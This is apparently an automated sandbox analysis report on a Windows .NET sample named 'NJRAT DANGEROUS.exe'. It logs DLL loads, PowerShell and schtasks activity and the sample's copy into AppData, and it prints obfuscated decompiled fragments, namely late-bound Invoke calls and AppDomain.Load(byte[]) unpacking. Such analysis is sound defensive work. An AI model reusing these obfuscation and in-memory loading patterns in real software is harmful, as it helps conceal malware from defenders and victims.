Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Source: NJRAT DANGEROUS.lnk.0.dr

LNK file: ..\..\..\..\..\NJRAT DANGEROUS.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: NJRAT DANGEROUS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: NJRAT DANGEROUS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mscorlib.pdbSYSTEM source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Xml.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.pdb03y source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb0O source: NJRAT DANGEROUS.exe, 00000000.00000002.3310773959.0000000000F83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: .pdb6 source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Management.pdbp source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbv source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: symbols\dll\mscorlib.pdbpdb` source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbper) source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb* source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3310773959.0000000000F83000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp, NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BBC8000.00000004.00000020.00020000.00000000.sdmp, WERA10C.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Xml.pdbSystem.Management.ni.dll source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Management.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: mscorlib.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Management.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Core.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: NJRAT DANGEROUS.exe, 00000000.00000002.3347760461.000000001C4F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERA10C.tmp.dmp.19.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb> source: NJRAT DANGEROUS.exe, 00000000.00000002.3343668388.000000001BC13000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.sCGYw0d5FvYImHBJILpFjUF6QHn0QOcBo,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.gnhZAaeXrGQXSPNVQNc9Z2ncjlk97UANQ,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.YsCF3Z47gqcq1tZl4eZcHRX3zc4VG5moK,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.bgTuiTcZ69W9GQvuWFfW20vglrQDpFiVJ,kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.sy0G31IbGorGA3hMMb5XfoqgjPInsbJi35KtSWqXbhk80i90S4632ZMVcbWm5j4tc()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[2],kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We._2lZNCaBbRmeUsODOJE9q5mMlbIlssXQWSobxpcAffEsXeEsZaY0CUgv4ACLuQZfsd(kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.RDNBo1SIuqar9uonqOwKyf0MXrByib87wKIHgve6WqgelhRCcgIRbjFcIlTzzFsnJ(h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.sCGYw0d5FvYImHBJILpFjUF6QHn0QOcBo,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.gnhZAaeXrGQXSPNVQNc9Z2ncjlk97UANQ,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.YsCF3Z47gqcq1tZl4eZcHRX3zc4VG5moK,_9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.bgTuiTcZ69W9GQvuWFfW20vglrQDpFiVJ,kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.sy0G31IbGorGA3hMMb5XfoqgjPInsbJi35KtSWqXbhk80i90S4632ZMVcbWm5j4tc()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[2],kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We._2lZNCaBbRmeUsODOJE9q5mMlbIlssXQWSobxpcAffEsXeEsZaY0CUgv4ACLuQZfsd(kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.RDNBo1SIuqar9uonqOwKyf0MXrByib87wKIHgve6WqgelhRCcgIRbjFcIlTzzFsnJ(h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { h15MA8sEIlvNEgQIwwfsOeebFVHnejViSmGuDkUQfeR50qGQBdx96m56Th6ImB5L2[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: yq31zUPEOpnaMk4V1cy1jve2jJmLmn0wK System.AppDomain.Load(byte[])
Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: _2C9b2KbY2Tg0TWRZpnPGgXmPOfL78kNJLkS84PvHtqKcgQSrHArxHv2j995AAalKv System.AppDomain.Load(byte[])
Source: NJRAT DANGEROUS.exe, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: _2C9b2KbY2Tg0TWRZpnPGgXmPOfL78kNJLkS84PvHtqKcgQSrHArxHv2j995AAalKv
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: yq31zUPEOpnaMk4V1cy1jve2jJmLmn0wK System.AppDomain.Load(byte[])
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: _2C9b2KbY2Tg0TWRZpnPGgXmPOfL78kNJLkS84PvHtqKcgQSrHArxHv2j995AAalKv System.AppDomain.Load(byte[])
Source: NJRAT DANGEROUS.exe.0.dr, Vdg58QAt6NK1hQvmIDPDiDTjhiHT029tX.cs	.Net Code: _2C9b2KbY2Tg0TWRZpnPGgXmPOfL78kNJLkS84PvHtqKcgQSrHArxHv2j995AAalKv

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E700BD pushad ; iretd	0_2_00007FF848E700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848D4D2A5 pushad ; iretd	2_2_00007FF848D4D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848E600BD pushad ; iretd	2_2_00007FF848E600C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F30835 pushfd ; retf	2_2_00007FF848F30837
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F32316 push 8B485F94h; iretd	2_2_00007FF848F3231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F32185 pushfd ; retf	2_2_00007FF848F32187
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848D5D2A5 pushad ; iretd	6_2_00007FF848D5D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E78AAD push ebx; retn 0009h	6_2_00007FF848E78AAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E78A45 push ebx; retn 0009h	6_2_00007FF848E78AAA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848E700BD pushad ; iretd	6_2_00007FF848E700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848F40835 pushfd ; retf	6_2_00007FF848F40837
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848F42316 push 8B485F93h; iretd	6_2_00007FF848F4231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848F42185 pushfd ; retf	6_2_00007FF848F42187
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848D3D2A5 pushad ; iretd	8_2_00007FF848D3D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848F20835 pushfd ; retf	8_2_00007FF848F20837
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848F22316 push 8B485F95h; iretd	8_2_00007FF848F2231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848F22185 pushfd ; retf	8_2_00007FF848F22187
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 13_2_00007FF848E700BD pushad ; iretd	13_2_00007FF848E700C1
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 14_2_00007FF848E700BD pushad ; iretd	14_2_00007FF848E700C1
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 15_2_00007FF848E600BD pushad ; iretd	15_2_00007FF848E600C1

Source: NJRAT DANGEROUS.exe, 9V4uPvuQxjeUmiWv5fYGWdKhugMlve22y.cs	High entropy of concatenated method names: 'txsmZIDYWOv5ZgpOgbiq7xvIYgcFbFeeyhJQpF9u5jvPmHnnWL3cp7O3Lf11mVA54cVnx6wguOEUxnQ7v40CinhHYnFg', 'yPesSP0sUGCgFNbWPJ1pjTwusfkDgoTnt3v2nUEMzSUCrll9pxVP5fsPkpR1t8dVBQ784RdpiXZFZbseiUclac87vo13', '_4hFcBUxwKTdDx3u1UD8pS8xkghefPfbnuLO5osk5mlAJF8yTgrgBVXfyMKNvXtYyGWMCbRJbi7kYUgK0wTzuKVDMyRR5', '_1apeF5qHzj8vW4h2nxDvy5EaEtiLRqDrZeKxHzTLp6U2G3VD8RjhcvLFzR5clTh7w0uvN1mXpEoT2H2VqXJCx38HpXae'
Source: NJRAT DANGEROUS.exe, qHSayriWtT3OXN77LC9qsEVzK7k6CILViWmdDGzzdLFX7cUvRX.cs	High entropy of concatenated method names: 'Z7DbLcEAJX0J6LXPdGG6IuDgBIxC2PUa0qEQk8FW2zMmxRRWDB', 'XMnFZyzLgHRjWroz91RrteaV72PwRupdPvvXzjv6peqjxolHhR', 'bYJKrP1k1SKP41DOXwESscCPMnRwMBsnQbyz9pqIbXk0pqUiFQ', '_8W5N8fmECS9Oy1OmUncv', '_7riJRrV98vqH7X5ZNWN2', 'AAWXhxPsfJmtQrwBNY2Z', 'sN4QDaGoeSe64aSkHAHZ', 'gb8Y9kwLCHtRfZsfQIIN', 'x6IrrIBuCuzp06yEB0pf', 'i0IxpGKfCwI946BRRemL'
Source: NJRAT DANGEROUS.exe, XOBTV4xzrjIi7ydC4irRLj2m8yvVfEd9wOAS0QebbgneG7yawFJtgOsknzkuOUmh8KjvNbCZIZRO1q6WyiArWzAcDu.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'eETC1ztypZqcZj6UmGL2mUi3YkFIPv3QiNy0vvhVTLMrKrRMgWrzdeePLgYudndC969Dk4hjeJ5R61IQNYshFkT1A8Sj', 'fhZSGNfawqcOTB7HPq2kohDpC5Ot11IgcqjEq2JSNkVHuZ0atvrFm5oux7PW9DlezkR7V1m2f8RE2JaxcMYBvKDsDigY', '_4gLirK7bBm6Cr34YlEusAZBfWH0CUBshd44ro73c3JlCc81Nr7Is3lzTZPH81oBenGc4TWM7ce9Wi7DgUwqjdCSSs3zR', 'S3JPpNz2fqKG6y4zpwaOAIVv2Hh237bfG4lzZZmL9vEqrjGLcwt16QxXNBJrfrwAs2GHhIX0a4VZGgoxGwY3wdSO9NKD'
Source: NJRAT DANGEROUS.exe, W1ECQFPlvJC03oUAAQoBl7CLAYVqZ4mg3bZbjnbANJzDMTjPE8ZJuGXHBbmCHYy7c.cs	High entropy of concatenated method names: 'shM2vbZx3BxV5S2heYmbBhG4YYP7tusrhWDNQcsJ8plg3uDAXCrajrhMxZphGPV5F', 'AUdFUYzhuyWj9l2JfGOq', 'J1Tr4oY4YJeejPv1Zqyg', 'dBM4F61dwehM6KZIgjPO', 'RPBnhanWzYkr2lBGTqZh'
